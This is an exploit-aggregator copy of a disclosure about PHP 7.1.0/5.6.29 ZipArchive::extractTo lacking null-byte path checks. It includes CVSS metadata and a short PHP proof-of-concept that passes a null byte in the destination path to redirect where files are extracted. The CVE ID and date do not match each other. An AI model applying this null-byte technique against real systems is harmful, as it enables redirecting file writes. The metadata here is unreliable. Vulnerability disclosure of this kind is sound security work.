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PHP 7.1.0/5.6.29 missing null byte checks for paths in ZipArchive::extractTo

CVE	Category	Price	Severity
CVE-2020-36195	CWE-22	$500	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2017-01-21

CVSS	EPSS	EPSSP
CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N	0.8973	0.984

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Adjacent	AV	The vulnerable system is bound to a protocol stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared proximity (e.g., Bluetooth, NFC, or IEEE 802.11) or logical network (e.g., local IP subnet), or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN within an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
Scope		S	An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2017010179

Below is a copy:

PHP 7.1.0/5.6.29 missing null byte checks for paths in ZipArchive::extractToDescription:
------------
ZipArchive->extractTo() doesnt ensure that pathnames lack NULL byte, which might allow attacker to manipulate the directory path.

Affected method:
------------------------------------------
static ZIPARCHIVE_METHOD(extractTo)
{
    struct zip *intern;
 
    zval *self = getThis();
    zval *zval_files = NULL;
    zval *zval_file = NULL;
    php_stream_statbuf ssb
;..
    if (!self) {
        RETURN_FALSE;
    }
 
    if (zend_parse_parameters(ZEND_NUM_ARGS(), "s|z", &pathto, &pathto_len, &zval_files) == FAILURE) {
        return;
    }
 
    if (pathto_len < 1) {
        RETURN_FALSE;
    }
------------------------------------------




Test script:
---------------
<?php

if(file_exists("LEVELA/EXTRACTED__HERE")) echo "LEVELA/EXTRACTED__HERE EXISTS!!!1\n";
if(file_exists("LEVELA/LEVELB/EXTRACTED__HERE")) echo "LEVELB/EXTRACTED__HERE EXISTS!!!2\n";

$zip = new ZipArchive;
if ($zip->open('toPack/EXTRACTED__HERE.zip') === TRUE) {
   $zip->extractTo("./LEVELA/\0LEVELB");
   $zip->close();
   echo "ok\n";
} else {
   echo "failed\n";
}

if(file_exists("LEVELA/EXTRACTED__HERE")) echo "LEVELA/EXTRACTED__HERE EXISTS!!!3\n";
if(file_exists("LEVELA/LEVELB/EXTRACTED__HERE")) echo "LEVELB/EXTRACTED__HERE EXISTS!!!4\n";

?>

Expected result:
----------------
expected parameter not string

Actual result:
--------------
# php zip.php 
ok
LEVELA/EXTRACTED__HERE EXISTS!!!3



Credit: Maksymilian from CXSECURITY.COM

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